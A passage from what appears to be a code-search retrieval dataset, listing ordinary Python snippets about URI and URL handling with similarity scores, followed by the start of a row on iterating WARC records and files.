u\"urn:oasis:names:specification:docbook:dtd:xml:4.1.2\" ]\r\n for uri in invariant:\r\n self.assertEqual(uri, iri2uri(uri))","def get_uri(self):\n return self.url","def cleanUri(uri):\n if not uri.startswith(\"/\") and not uri.startswith('http'):\n uri = \"/\" + uri\n\n if 'http://' in uri or 'https://' in uri:\n uri = uri.split('://')[0] + '://' + \\\n uri.split('://')[1].replace(\"//\", \"/\")\n else:\n uri = uri.replace(\"//\", \"/\")\n\n if uri.endswith(\"/\"):\n uri = uri[:-1]\n\n return uri","def uri(self):\n return self._uri","def uri(self):\n return self._uri","def uri(self):\n return self._uri","def uri(self):\n return self._uri","def uri(self):\n return self._uri","def uri(self):\n return self._uri","def make_url_reference(self, uri):\n date = helpers.today_as_WbTime()\n ref = WD.Reference(\n source_test=self.wd.make_simple_claim(u'P854', uri),\n source_notest=self.wd.make_simple_claim(u'P813', date))\n return ref","def getURI(self, *args):\n return _libsbml.QualExtension_getURI(self, *args)","def generate_uri(uri):\n return uri[:-5] + uuid.uuid4().hex","def getURI(self, *args):\n return _libsbml.FbcExtension_getURI(self, *args)","def __init__( httpconn, method, uri, uriparts, version, headers ):","def full_uri(path):\n protocol = 'https' if settings.USE_HTTPS else 'http'\n domain = Site.objects.get_current().domain\n return \"{}://{}{}\".format(protocol, domain, path)","def get_url(self, *args):\n try:\n url = '/'.join((self.base_url, ) + args)\n except TypeError:\n url = '/'.join((self.base_url, ) + args[0])\n return url.rstrip('/')","def add(self, uri, name):\n pass","def requestURL(userID): #@NoSelf","def parse(self, url):\n pass","def uri(self) -> Optional[pulumi.Input[str]]:\n return pulumi.get(self, \"uri\")","def uri(self) -> Optional[pulumi.Input[str]]:\n return pulumi.get(self, \"uri\")","def uri(self) -> Optional[pulumi.Input[str]]:\n return pulumi.get(self, \"uri\")","def uri(self) -> Optional[pulumi.Input[str]]:\n return pulumi.get(self, \"uri\")","def uri(self) -> Optional[pulumi.Input[str]]:\n return pulumi.get(self, \"uri\")","def getURI(self, *args):\n return _libsbml.CompExtension_getURI(self, *args)","def Url(self) -> str:","def UriStrFor(iterated_uri, obj):\n return '%s://%s/%s' % (iterated_uri.scheme, obj.bucket.name, obj.name)","def uri_for(parser, token):\n bits = token.split_contents()\n if len(bits) < 2:\n raise TemplateSyntaxError(\"'%s' takes at least one argument\"\n \" (route name)\" % bits[0])\n routename = bits[1]\n args = []\n kwargs = {}\n asvar = None\n\n if len(bits) > 2:\n bits = iter(bits[2:])\n for bit in bits:\n if bit == 'as':\n asvar = bits.next()\n break\n else:\n for arg in bit.split(\",\"):\n if '=' in arg:\n k, v = arg.split('=', 1)\n k = k.strip()\n kwargs[k] = parser.compile_filter(v)\n elif arg:\n args.append(parser.compile_filter(arg))\n return URLNode(routename, args, kwargs, asvar)","def _get_url(self, *args):\n if self._baseUrl not in args:\n args.insert(0, self._baseUrl)\n args = filter(lambda item: item is not None, args)\n return \"/\".join(args)","def urlpath( request, *args, **kwargs ):","def get_uri(self):\n return self.__uri","def extract_id_from_uri(id_or_uri):\n if '/' in id_or_uri:\n return id_or_uri[id_or_uri.rindex('/') + 1:]\n else:\n return id_or_uri","def __init__(self, uri, **kwargs):\n super(Sip, self).__init__(**kwargs)\n self.value = uri","def select(self, *__args): # real signature unknown; restored from __doc__ with multiple overloads\n return \"\" or QUrl","def pathToURI(path):\n ret = libxml2mod.xmlPathToURI(path)\n return ret","def getUriAt(_uri, level):\n #print(\"%s %s\"%(, _uri, level))\n if not level.startswith('/'):\n level = '/' + level\n if level in _uri:\n return _uri.split(level)[0] + level\n else:\n raise Exception(\"Invalid get level '%s' parameter: %s\"%(\\\n _uri, level))","def normalize_uri(uri):\n return normalize_uri_result(uri).unsplit()","def getURI(self, *args):\n return _libsbml.XMLAttributes_getURI(self, *args)","def uri(base, *path, **query):\n if base and base.endswith('/'):\n base = base[:-1]\n retval = [base]\n\n # build the path\n path = '/'.join([''] +\n [unicode_quote(s.strip('/')) for s in path\n if s is not None])\n if path:\n retval.append(path)\n\n # build the query string\n params = []\n for name, value in query.items():\n if type(value) in (list, tuple):\n params.extend([(name, i) for i in value if i is not None])\n elif value is not None:\n if value is True:\n value = 'true'\n elif value is False:\n value = 'false'\n params.append((name, value))\n if params:\n retval.extend(['?', unicode_urlencode(params)])\n\n return ''.join(retval)","def url(self, request_path=\"\"):\n return f\"{self.scheme}://{self.host}/{request_path}\"","def test_flow_gets_type_from_uri(self):\n flow = MockFlowWithURI()\n doc = flow.authentication_flow_document(\"argument\")\n assert {'type': 'http://mock2/'} == doc","def _get_uri_from_request(request):\n uri = request.base_url\n if request.query_string:\n uri += '?' + request.query_string.decode('utf-8')\n return uri","def url(self, name):\n return self.path(name)","def get_spotify_uri(self,song_name, artist):\n query = f\"track:{song_name} artist:{artist}\"\n result = self.sp.search(q=query,limit=1,type='track')\n\n #only use the first song\n if len(result['tracks']['items']) > 0 and result['tracks']['items'][0]['artists'][0]['name'] == artist:\n uri = result['tracks']['items'][0][\"uri\"]\n else:\n uri = None\n\n return uri"],"string":"[\n \"def __init__(self, uri):\\n\\n self.uri = uri\",\n \"def url():\\n ...\",\n \"def set_uri(self, uri):\\r\\n self.uri = uri\",\n \"def _get_url(self, absolute):\",\n \"def uri(self, uri):\\n self._uri = uri\",\n \"def uri(self, uri):\\n self._uri = uri\",\n \"def _uri(self):\\n raise NotImplementedError\",\n \"def create_uri(uri):\\n return URIRef(uri)\",\n \"def quote_uri(uri):\\n import urlparse\\n import urllib\\n\\n up=urlparse.urlparse(uri)\\n np=urllib.quote(up[2])\\n return urlparse.urlunparse((up[0],up[1],np,up[3],up[4],up[5]))\",\n \"def uri(self, path):\\n path = ensure_slash(path)\\n return 'http://127.0.0.1:%d%s' % (self.port, path)\",\n \"def any_to_uri(uri_or_path):\\n if os.path.splitdrive(uri_or_path)[0]:\\n return path_to_file_uri(uri_or_path)\\n u = urlparse(uri_or_path)\\n return uri_or_path if u.scheme else path_to_file_uri(uri_or_path)\",\n \"def _discoverLocation(self, uri):\",\n \"def uri(self, uri):\\n\\n self._uri = uri\",\n \"def uri(self, uri):\\n\\n self._uri = uri\",\n \"def query(url):\",\n \"def __init__(self, uri):\\n super(ResolutionError, self).__init__(\\n \\\"{0} is not an absolute URI.\\\".format(uri.unsplit()))\",\n \"def uri_f(x: Text) -> Tuple[Text, Text]:\\n if not x.startswith(\\\"http\\\"):\\n x = \\\"http://{0}\\\".format(x)\\n return \\\"uri\\\", x\",\n \"def uri(self, uri):\\n if uri is None:\\n raise ValueError(\\\"Invalid value for `uri`, must not be `None`\\\")\\n\\n self._uri = uri\",\n \"def set_uri(self, uri):\\n self.__uri = uri\",\n \"def get_uri(self):\\r\\n return self.uri\",\n \"def uri_dispatch(uri):\\n\\n return uri_dispatch_map[os.path.splitext(uri)[1]]\",\n \"def parseURI(str):\\n ret = libxml2mod.xmlParseURI(str)\\n if ret is None:raise uriError('xmlParseURI() failed')\\n return URI(_obj=ret)\",\n \"def url(self):\\n ...\",\n \"def call(self, uri, method, arg, extras):\\n pass\",\n \"def getURLForThing(thing):\",\n \"def uri(self):\\n parts = []\\n # if I have a scheme\\n if self.scheme: parts.append('{}:'.format(self.scheme))\\n # if I have an authority\\n if self.authority: parts.append('//{}'.format(self.authority))\\n # if I have an address\\n if self.address: parts.append('{}'.format(self.address))\\n # if I have a query\\n if self.query: parts.append('?{}'.format(self.query))\\n # if I have a fragment\\n if self.fragment: parts.append('#{}'.format(self.fragment))\\n # assemble and return\\n return ''.join(parts)\",\n \"def resolveUri(self, *args):\\n return _libsbml.SBMLResolver_resolveUri(self, *args)\",\n \"def testQuestionMarkURI(self):\\n self.assertEqual([\\\"http://www.bdog.fi/cgi-bin/netstore/tuotehaku.pl?tuoteryhma=16\\\"], grab('http://www.bdog.fi/cgi-bin/netstore/tuotehaku.pl?tuoteryhma=16', self.needScheme))\",\n \"def getURI(self, *args):\\n return _libsbml.SBMLExtension_getURI(self, *args)\",\n \"def parse_uri(uri):\\r\\n groups = URI.match(uri).groups()\\r\\n return (groups[1], groups[3], groups[4], groups[6], groups[8])\",\n \"def get_url(self, uri):\\n # TODO make this a prepend_if_needed type method\\n return urllib.parse.urljoin(self.hostname, uri)\",\n \"def supports_uri_scheme():\\n\\n pass\",\n \"def test2URIs(self):\\n self.assertEqual([\\\"http://foobar.fi/1234{}[]{}\\\", \\\"http://127.0.0.1/\\\"], grab('http://foobar.fi/1234{}[]{} sadfljs dlfkjsd lf;asdf http://127.0.0.1/', self.needScheme))\",\n \"def select_uri(uris):\\n return sorted(uris, key=uri_sort_key)[0]\",\n \"def buildURI(URI, base):\\n ret = libxml2mod.xmlBuildURI(URI, base)\\n return ret\",\n \"def urlfor( request, *args, **kwargs ):\",\n \"def resolveUri(self, *args):\\n return _libsbml.SBMLFileResolver_resolveUri(self, *args)\",\n \"def uri(self) -> pulumi.Input[str]:\\n return pulumi.get(self, \\\"uri\\\")\",\n \"def uri(self) -> pulumi.Input[str]:\\n return pulumi.get(self, \\\"uri\\\")\",\n \"def uri(self) -> pulumi.Input[str]:\\n return pulumi.get(self, \\\"uri\\\")\",\n \"def parseUrl(self, resource, type):\\n try:\\n rId = int(resource)\\n resource = \\\"%s/%s\\\" % (type, rId)\\n except:\\n pass\\n assert type in resource\\n return self.fullUrl(resource)\",\n \"def BaseUri(context, arg=None):\\n #FIXME: Arg must be a node set\\n if not arg:\\n arg = [context.node]\\n if hasattr(arg[0],'baseUri'):\\n return arg[0].baseUri\\n elif hasattr(arg[0],'refUri'):\\n return arg[0].refUri\\n return \\\"\\\"\",\n \"def getURI(self, *args):\\n return _libsbml.MultiExtension_getURI(self, *args)\",\n \"def first_http_uri(xia):\\n\\n return first_uri_matching_prefix(xia, \\\"http://\\\")\",\n \"def _urlnorm(self, uri):\\r\\n (scheme, authority, path, query, fragment) = parse_uri(uri)\\r\\n if not scheme or not authority:\\r\\n raise Exception(\\\"Only absolute URIs are allowed. uri = %s\\\" % uri)\\r\\n authority = authority.lower()\\r\\n scheme = scheme.lower()\\r\\n if not path:\\r\\n path = \\\"/\\\"\\r\\n\\r\\n # Could do syntax based normalization of the URI before\\r\\n # computing the digest. See Section 6.2.2 of Std 66.\\r\\n request_uri = query and \\\"?\\\".join([path, query]) or path\\r\\n scheme = scheme.lower()\\r\\n defrag_uri = scheme + \\\"://\\\" + authority + request_uri\\r\\n\\r\\n return defrag_uri\",\n \"def getPath(self, uri):\\n pass\",\n \"def resolveUri(self, *args):\\n return _libsbml.SBMLResolverRegistry_resolveUri(self, *args)\",\n \"def parseURIRaw(str, raw):\\n ret = libxml2mod.xmlParseURIRaw(str, raw)\\n if ret is None:raise uriError('xmlParseURIRaw() failed')\\n return URI(_obj=ret)\",\n \"def _make_url(self):\\n ...\",\n \"def AddUriArgument(parser, help_text):\\n parser.add_argument('uri', help=help_text)\",\n \"def __init__(__self__, *,\\n uri: Optional[pulumi.Input[str]] = None):\\n if uri is not None:\\n pulumi.set(__self__, \\\"uri\\\", uri)\",\n \"def _get_one(self,url):\\n pass\",\n \"def _open(args):\\n p = Path(args.uri)\\n if p.is_file():\\n uri = p.resolve().as_uri()\\n else:\\n # hope the user has provided a valid URI\\n uri = args.uri\\n\\n print(f'opening {uri}')\\n args.service.open(uri)\",\n \"def test_no_variables_in_uri(self):\\n uri = \\\"https://api.github.com/users\\\"\\n t = URITemplate(uri)\\n self.assertEqual(t.expand(), uri)\\n self.assertEqual(t.expand(users=\\\"foo\\\"), uri)\",\n \"def _set_tracker_uri(self, uri):\\r\\n parse_result = urlparse.urlparse(uri)\\r\\n if (parse_result.scheme.lower() not in ['http', 'https'] or\\r\\n not parse_result.netloc or not parse_result.query):\\r\\n raise InvalidUriError('Invalid tracker URI (%s)' % uri)\\r\\n qdict = cgi.parse_qs(parse_result.query)\\r\\n if not qdict or not 'upload_id' in qdict:\\r\\n raise InvalidUriError('Invalid tracker URI (%s)' % uri)\\r\\n self.tracker_uri = uri\\r\\n self.tracker_uri_host = parse_result.netloc\\r\\n self.tracker_uri_path = '%s/?%s' % (parse_result.netloc,\\r\\n parse_result.query)\\r\\n self.server_has_bytes = 0\",\n \"def uri(self):\\n if self.fetcher:\\n return self.fetcher.uri\\n else:\\n raise InvalidFetcherAccessPoint(\\n \\\" Initialize an access point (%s) first.\\\"\\n % \\\",\\\".join(self.Fetchers.keys())\\n )\",\n \"def test_url_with_query(self):\\n url = 'http://foo.com/?p=bar.git;a=snapshot;h=v0.1;sf=tgz'\\n fragment = '#egg=bar'\\n req = InstallRequirement.from_line(url + fragment)\\n assert req.link.url == url + fragment, req.link\",\n \"def test_uris(self):\\r\\n invariant = [ \\r\\n u\\\"ftp://ftp.is.co.za/rfc/rfc1808.txt\\\",\\r\\n u\\\"http://www.ietf.org/rfc/rfc2396.txt\\\",\\r\\n u\\\"ldap://[2001:db8::7]/c=GB?objectClass?one\\\",\\r\\n u\\\"mailto:John.Doe@example.com\\\",\\r\\n u\\\"news:comp.infosystems.www.servers.unix\\\",\\r\\n u\\\"tel:+1-816-555-1212\\\",\\r\\n u\\\"telnet://192.0.2.16:80/\\\",\\r\\n u\\\"urn:oasis:names:specification:docbook:dtd:xml:4.1.2\\\" ]\\r\\n for uri in invariant:\\r\\n self.assertEqual(uri, iri2uri(uri))\",\n \"def get_uri(self):\\n return self.url\",\n \"def cleanUri(uri):\\n if not uri.startswith(\\\"/\\\") and not uri.startswith('http'):\\n uri = \\\"/\\\" + uri\\n\\n if 'http://' in uri or 'https://' in uri:\\n uri = uri.split('://')[0] + '://' + \\\\\\n uri.split('://')[1].replace(\\\"//\\\", \\\"/\\\")\\n else:\\n uri = uri.replace(\\\"//\\\", \\\"/\\\")\\n\\n if uri.endswith(\\\"/\\\"):\\n uri = uri[:-1]\\n\\n return uri\",\n \"def uri(self):\\n return self._uri\",\n \"def uri(self):\\n return self._uri\",\n \"def uri(self):\\n return self._uri\",\n \"def uri(self):\\n return self._uri\",\n \"def uri(self):\\n return self._uri\",\n \"def uri(self):\\n return self._uri\",\n \"def make_url_reference(self, uri):\\n date = helpers.today_as_WbTime()\\n ref = WD.Reference(\\n source_test=self.wd.make_simple_claim(u'P854', uri),\\n source_notest=self.wd.make_simple_claim(u'P813', date))\\n return ref\",\n \"def getURI(self, *args):\\n return _libsbml.QualExtension_getURI(self, *args)\",\n \"def generate_uri(uri):\\n return uri[:-5] + uuid.uuid4().hex\",\n \"def getURI(self, *args):\\n return _libsbml.FbcExtension_getURI(self, *args)\",\n \"def __init__( httpconn, method, uri, uriparts, version, headers ):\",\n \"def full_uri(path):\\n protocol = 'https' if settings.USE_HTTPS else 'http'\\n domain = Site.objects.get_current().domain\\n return \\\"{}://{}{}\\\".format(protocol, domain, path)\",\n \"def get_url(self, *args):\\n try:\\n url = '/'.join((self.base_url, ) + args)\\n except TypeError:\\n url = '/'.join((self.base_url, ) + args[0])\\n return url.rstrip('/')\",\n \"def add(self, uri, name):\\n pass\",\n \"def requestURL(userID): #@NoSelf\",\n \"def parse(self, url):\\n pass\",\n \"def uri(self) -> Optional[pulumi.Input[str]]:\\n return pulumi.get(self, \\\"uri\\\")\",\n \"def uri(self) -> Optional[pulumi.Input[str]]:\\n return pulumi.get(self, \\\"uri\\\")\",\n \"def uri(self) -> Optional[pulumi.Input[str]]:\\n return pulumi.get(self, \\\"uri\\\")\",\n \"def uri(self) -> Optional[pulumi.Input[str]]:\\n return pulumi.get(self, \\\"uri\\\")\",\n \"def uri(self) -> Optional[pulumi.Input[str]]:\\n return pulumi.get(self, \\\"uri\\\")\",\n \"def getURI(self, *args):\\n return _libsbml.CompExtension_getURI(self, *args)\",\n \"def Url(self) -> str:\",\n \"def UriStrFor(iterated_uri, obj):\\n return '%s://%s/%s' % (iterated_uri.scheme, obj.bucket.name, obj.name)\",\n \"def uri_for(parser, token):\\n bits = token.split_contents()\\n if len(bits) < 2:\\n raise TemplateSyntaxError(\\\"'%s' takes at least one argument\\\"\\n \\\" (route name)\\\" % bits[0])\\n routename = bits[1]\\n args = []\\n kwargs = {}\\n asvar = None\\n\\n if len(bits) > 2:\\n bits = iter(bits[2:])\\n for bit in bits:\\n if bit == 'as':\\n asvar = bits.next()\\n break\\n else:\\n for arg in bit.split(\\\",\\\"):\\n if '=' in arg:\\n k, v = arg.split('=', 1)\\n k = k.strip()\\n kwargs[k] = parser.compile_filter(v)\\n elif arg:\\n args.append(parser.compile_filter(arg))\\n return URLNode(routename, args, kwargs, asvar)\",\n \"def _get_url(self, *args):\\n if self._baseUrl not in args:\\n args.insert(0, self._baseUrl)\\n args = filter(lambda item: item is not None, args)\\n return \\\"/\\\".join(args)\",\n \"def urlpath( request, *args, **kwargs ):\",\n \"def get_uri(self):\\n return self.__uri\",\n \"def extract_id_from_uri(id_or_uri):\\n if '/' in id_or_uri:\\n return id_or_uri[id_or_uri.rindex('/') + 1:]\\n else:\\n return id_or_uri\",\n \"def __init__(self, uri, **kwargs):\\n super(Sip, self).__init__(**kwargs)\\n self.value = uri\",\n \"def select(self, *__args): # real signature unknown; restored from __doc__ with multiple overloads\\n return \\\"\\\" or QUrl\",\n \"def pathToURI(path):\\n ret = libxml2mod.xmlPathToURI(path)\\n return ret\",\n \"def getUriAt(_uri, level):\\n #print(\\\"%s %s\\\"%(, _uri, level))\\n if not level.startswith('/'):\\n level = '/' + level\\n if level in _uri:\\n return _uri.split(level)[0] + level\\n else:\\n raise Exception(\\\"Invalid get level '%s' parameter: %s\\\"%(\\\\\\n _uri, level))\",\n \"def normalize_uri(uri):\\n return normalize_uri_result(uri).unsplit()\",\n \"def getURI(self, *args):\\n return _libsbml.XMLAttributes_getURI(self, *args)\",\n \"def uri(base, *path, **query):\\n if base and base.endswith('/'):\\n base = base[:-1]\\n retval = [base]\\n\\n # build the path\\n path = '/'.join([''] +\\n [unicode_quote(s.strip('/')) for s in path\\n if s is not None])\\n if path:\\n retval.append(path)\\n\\n # build the query string\\n params = []\\n for name, value in query.items():\\n if type(value) in (list, tuple):\\n params.extend([(name, i) for i in value if i is not None])\\n elif value is not None:\\n if value is True:\\n value = 'true'\\n elif value is False:\\n value = 'false'\\n params.append((name, value))\\n if params:\\n retval.extend(['?', unicode_urlencode(params)])\\n\\n return ''.join(retval)\",\n \"def url(self, request_path=\\\"\\\"):\\n return f\\\"{self.scheme}://{self.host}/{request_path}\\\"\",\n \"def test_flow_gets_type_from_uri(self):\\n flow = MockFlowWithURI()\\n doc = flow.authentication_flow_document(\\\"argument\\\")\\n assert {'type': 'http://mock2/'} == doc\",\n \"def _get_uri_from_request(request):\\n uri = request.base_url\\n if request.query_string:\\n uri += '?' + request.query_string.decode('utf-8')\\n return uri\",\n \"def url(self, name):\\n return self.path(name)\",\n \"def get_spotify_uri(self,song_name, artist):\\n query = f\\\"track:{song_name} artist:{artist}\\\"\\n result = self.sp.search(q=query,limit=1,type='track')\\n\\n #only use the first song\\n if len(result['tracks']['items']) > 0 and result['tracks']['items'][0]['artists'][0]['name'] == artist:\\n uri = result['tracks']['items'][0][\\\"uri\\\"]\\n else:\\n uri = None\\n\\n return uri\"\n]","isConversational":false},"negative_scores":{"kind":"list like","value":["0.6760875","0.66227156","0.657832","0.65703005","0.65467316","0.65467316","0.64905435","0.64255947","0.64193517","0.63551694","0.62846905","0.62785953","0.62359524","0.62359524","0.6218313","0.61922807","0.6122419","0.6121087","0.60790586","0.6076218","0.606823","0.6056582","0.60475874","0.59942085","0.5988672","0.59853846","0.59850085","0.5970605","0.5937568","0.59327424","0.5930819","0.5926977","0.591834","0.5905936","0.59044373","0.59026086","0.59007895","0.58990085","0.58990085","0.58990085","0.5892715","0.58804595","0.5876454","0.5872124","0.58641833","0.58537465","0.58268166","0.58228415","0.580541","0.5803697","0.57919574","0.5789359","0.5771892","0.5715233","0.57072204","0.5688362","0.5686453","0.5662068","0.5636298","0.56275517","0.56235623","0.56235623","0.56235623","0.56235623","0.56235623","0.56235623","0.5620719","0.5609113","0.5598724","0.5593798","0.5586407","0.55831033","0.5582434","0.5579743","0.55751973","0.55741155","0.55597985","0.55597985","0.55597985","0.55597985","0.55597985","0.5539981","0.5529725","0.5512839","0.5511374","0.5506182","0.54989463","0.54808813","0.54787713","0.54742944","0.54723674","0.54576755","0.5456714","0.54555404","0.5451146","0.5449378","0.5448008","0.5438563","0.5434765","0.5431864","0.5431129"],"string":"[\n \"0.6760875\",\n \"0.66227156\",\n \"0.657832\",\n \"0.65703005\",\n \"0.65467316\",\n \"0.65467316\",\n \"0.64905435\",\n \"0.64255947\",\n \"0.64193517\",\n \"0.63551694\",\n \"0.62846905\",\n \"0.62785953\",\n \"0.62359524\",\n \"0.62359524\",\n \"0.6218313\",\n \"0.61922807\",\n \"0.6122419\",\n \"0.6121087\",\n \"0.60790586\",\n \"0.6076218\",\n \"0.606823\",\n \"0.6056582\",\n \"0.60475874\",\n \"0.59942085\",\n \"0.5988672\",\n \"0.59853846\",\n \"0.59850085\",\n \"0.5970605\",\n \"0.5937568\",\n \"0.59327424\",\n \"0.5930819\",\n \"0.5926977\",\n \"0.591834\",\n \"0.5905936\",\n \"0.59044373\",\n \"0.59026086\",\n \"0.59007895\",\n \"0.58990085\",\n \"0.58990085\",\n \"0.58990085\",\n \"0.5892715\",\n \"0.58804595\",\n \"0.5876454\",\n \"0.5872124\",\n \"0.58641833\",\n \"0.58537465\",\n \"0.58268166\",\n \"0.58228415\",\n \"0.580541\",\n \"0.5803697\",\n \"0.57919574\",\n \"0.5789359\",\n \"0.5771892\",\n \"0.5715233\",\n \"0.57072204\",\n \"0.5688362\",\n \"0.5686453\",\n \"0.5662068\",\n \"0.5636298\",\n \"0.56275517\",\n \"0.56235623\",\n \"0.56235623\",\n \"0.56235623\",\n \"0.56235623\",\n \"0.56235623\",\n \"0.56235623\",\n \"0.5620719\",\n \"0.5609113\",\n \"0.5598724\",\n \"0.5593798\",\n \"0.5586407\",\n \"0.55831033\",\n \"0.5582434\",\n \"0.5579743\",\n \"0.55751973\",\n \"0.55741155\",\n \"0.55597985\",\n \"0.55597985\",\n \"0.55597985\",\n \"0.55597985\",\n \"0.55597985\",\n \"0.5539981\",\n \"0.5529725\",\n \"0.5512839\",\n \"0.5511374\",\n \"0.5506182\",\n \"0.54989463\",\n \"0.54808813\",\n \"0.54787713\",\n \"0.54742944\",\n \"0.54723674\",\n \"0.54576755\",\n \"0.5456714\",\n \"0.54555404\",\n \"0.5451146\",\n \"0.5449378\",\n \"0.5448008\",\n \"0.5438563\",\n \"0.5434765\",\n \"0.5431864\",\n \"0.5431129\"\n]","isConversational":false},"document_score":{"kind":"string","value":"0.0"},"document_rank":{"kind":"string","value":"-1"}}},{"rowIdx":14477,"cells":{"query":{"kind":"string","value":"Iterates through WARC records of an unpacked file in a Spark job."},"document":{"kind":"string","value":"def extract_json(id_, iterator):\n for uri in iterator:\n file = unpack(uri)\n for record in file:\n if record['Content-Type'] == 'application/json':\n try:\n content = json.loads(record.payload.read())\n yield content['Envelope']\n except:\n yield None"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["def redshift_file_loader(spark, tbname, tmpdir):\n filelist_rdd = redshift_loader(spark, tbname, tmpdir) \\\n .rdd.map(lambda x: Row(caseid=x.case_id, filepath=x.path + '/' + x.filename))\n return filelist_rdd","def test_iterate_over_stream():\n archive = Archive()\n archive.commit(doc=DataFrameDocument(df=DF1))\n rows = list()\n with archive.open(version=0).open() as reader:\n for row in reader:\n rows.append(row)\n assert rows == [\n (0, 0, ['Alice', 32]),\n (1, 1, ['Bob', 45]),\n (2, 2, ['Claire', 27]),\n (3, 3, ['Alice', 23])\n ]","def iterate_records(self, zone):\n records = self._to_records(zone)\n yield from records","def process_file(filename):\n print \"Reading and Parsing File: {}\".format(filename)\n parsed_entries = file_parser(filename)\n print \"Starting to Process Entries\"\n chunked_entires = chunk_entries(parsed_entries)\n return [process_entries(entry) for entry in chunked_entires]","def process_files(exp_folders):\n pool = mp.Pool()\n results = pool.imap_unordered(read_and_serialize, exp_folders)\n\n stat = []\n for res in results:\n print(res)\n stat.append(res)\n\n pool.close()\n pool.join()","def parse_records(self):\n for record in sp.parse(gzip.open(\n \"./human_uniprot_04_07_20.gz\", 'rt')):\n # print(record.taxonomy_id)\n # if record.organism != \"Homo sapiens\":\n # continue\n # print(record.features[0])\n # for comment in record.comments:\n # if comment.startswith(\"SUBCELLULAR LOCATION\"):\n # print(comment)\n self.extract_features_to_dict(record)\n self.extract_localization(record)","def process_data():\n for message in get_messages_from_sqs():\n try:\n message_content = json.loads(message.body)\n input_file = urllib.unquote_plus(message_content\n ['Records'][0]['s3']['object']\n ['key']).encode('utf-8')\n s3.download_file(input_bucket_name, input_file, input_file)\n output_file = os.path.join(output_dir, os.path.splitext(input_file)[0]+'.csv')\n parse_patient_data(input_file, output_file)\n upload_data(output_file)\n cleanup_files(input_file, output_file)\n except:\n message.change_visibility(VisibilityTimeout=0)\n continue\n else:\n message.delete()","def _read_recs(basedir):\n for borotag in boro_tags:\n datafile = \"%s/%s.csv\" % (basedir,borotag)\n print(\"slurp '%s' ..\" % datafile)\n recs = read_recs(datafile)\n yield from (pluto.parse.normalize(r) for r in recs)","def walk(self):\n data = open(self.data_file_path, 'rb')\n read_metric = globals()[\"ProtoDefinition\"].Payload()\n read_metric.ParseFromString(data.read())\n\n # One record for the whole file\n self.payload_metadata = read_metric.payloadMetadata\n self.device = read_metric.device\n\n # Get list of all *repeated* field types\n field_names = []\n for field_desc in read_metric.DESCRIPTOR.fields:\n field_name = field_desc.name\n\n if field_desc.label == field_desc.LABEL_REPEATED:\n field_names.append(field_name)\n\n # For each repeated field type, get the data and yield one item at a time\n for field_name in field_names:\n stream_samples = getattr(read_metric, field_name)\n for sample in stream_samples:\n yield self.device, sample","def iter_records(self):\n\n decomp_type = 'gzip'\n block_size = 16384\n\n self.reader = DecompressingBufferedReader(self.fh,\n block_size=block_size)\n self.offset = self.fh.tell()\n\n next_line = None\n\n while True:\n try:\n record = self._next_record(next_line)\n yield record\n except EOFError:\n break\n\n self.read_to_end(record)\n\n # for non-compressed, consume blank lines here\n if not self.reader.decompressor:\n next_line = self._consume_blanklines()\n if next_line is None:\n # at end of file\n break\n\n # reset reader for next member\n else:\n self.reader.read_next_member()","def enumerate_files(self, table):\n for i in range(self.nrofrecords()):\n data = self.bank.readrec(i + 1)\n if data and data[0] == table.tableid:\n yield i + 1, data[1:]","def __stream_records(filename: str, use_tqdm: bool, filter_minor: bool, max_los_clip: Optional[int],\n max_samples: Optional[int], reshape: bool) -> Iterable[Tuple[np.array, int]]:\n stream = read_records_csv(filename)\n if use_tqdm:\n stream = tqdm(stream, desc='Loading data', unit=' records')\n emitted_samples = 0\n for record in stream:\n vector = vectorise_record(record)\n los = vector['LENGTH_OF_STAY']\n # Discard obviously bad data (negative LoS is impossible)\n if los < 0:\n continue\n # Filter out \"minor\" records\n if filter_minor and vector['IS_MAJOR'] != 1:\n continue\n # Clip LoS to a maximum value\n if max_los_clip is not None:\n los = min(los, max_los_clip)\n if reshape:\n yield reshape_vector(vector), los\n else:\n yield flatten_vector(vector), los\n # Update stats\n emitted_samples += 1\n if use_tqdm:\n stream.set_postfix_str(f'generated {emitted_samples} good records', refresh=False)\n # If we've emitted enough samples, finish fast\n if max_samples is not None and emitted_samples >= max_samples:\n return","def ingest():\n\n base_path = '/home/mnichol3/Coding/wx-scripts/wtlma'\n\n flash_files = ['flash-out-05232019-2050.txt',\n 'flash-out-05232019-2100.txt',\n 'flash-out-05232019-2110.txt',\n 'flash-out-05232019-2120.txt',\n 'flash-out-05232019-2130.txt',\n 'flash-out-05232019-2140.txt',\n 'flash-out-05232019-2150.txt']\n\n df_cols = ['start', 'end', 'duration', 'area', 'ctr_alt', 'ctr_lat', 'ctr_lon',\n 'tot_energy']\n\n flash_df = pd.read_csv(join(base_path, flash_files[0]), sep=',', names=df_cols)\n\n for f in flash_files[1:]:\n curr_path = join(base_path, f)\n curr_df = pd.read_csv(curr_path, sep=',', names=df_cols)\n flash_df = pd.concat([flash_df, curr_df], ignore_index=True)\n\n return flash_df","def main(infile):\n for i, frame in enumerate(read_lammpstrj(infile)):\n data = frame_to_dict(frame)\n print(i, data['timestep'], data['number of atoms'])","def walk_files(self, field):\n for case_bits in self.all_cases():\n case_kws = self.get_case_kws(*case_bits)\n\n prefix = self.case_prefix(**case_kws)\n suffix = self.case_suffix(**case_kws)\n path_to_file = os.path.join(\n self.data_dir,\n self.case_path(**case_kws),\n prefix + field + suffix,\n )\n\n yield case_kws, path_to_file","def _iter_over_meshes(self):\n for filename in self._storage.list_files(prefix='mesh/{}'.format(self.prefix)):\n match = re.search(r'(\\d+):(\\d+):(.*)$',filename)\n if not match: # a manifest file will not match\n continue\n _id, lod, chunk_position = match.groups()\n _id = int(_id); lod = int(lod)\n if lod != self.lod:\n continue\n\n yield _id, lod, chunk_position","def files_list_reduce(filename, fieldnames):\n\n parameters = []\n with open(filename) as csv_file:\n\n reader = csv.DictReader(csv_file, fieldnames=fieldnames)\n iterRows = iter(reader)\n next(iterRows)\n for row in iterRows:\n if row['index'] == '':\n continue\n if row['index'] == 'END':\n break\n parameters.append(row)\n return parameters","def process_data(fileprefix=DEFAULT_FILE_PREFIX):\n\n # TODO wow this is uggo code\n FILE_PREFIX = fileprefix\n\n MAX_SAMP=1500\n\n # Get data from file\n tf_record_file_names = [join(FILE_PREFIX, f) for f in listdir(FILE_PREFIX) if isfile(join(FILE_PREFIX, f)) and 'tfrecord' in f]\n assert len(tf_record_file_names) > 0\n\n dataset_it = 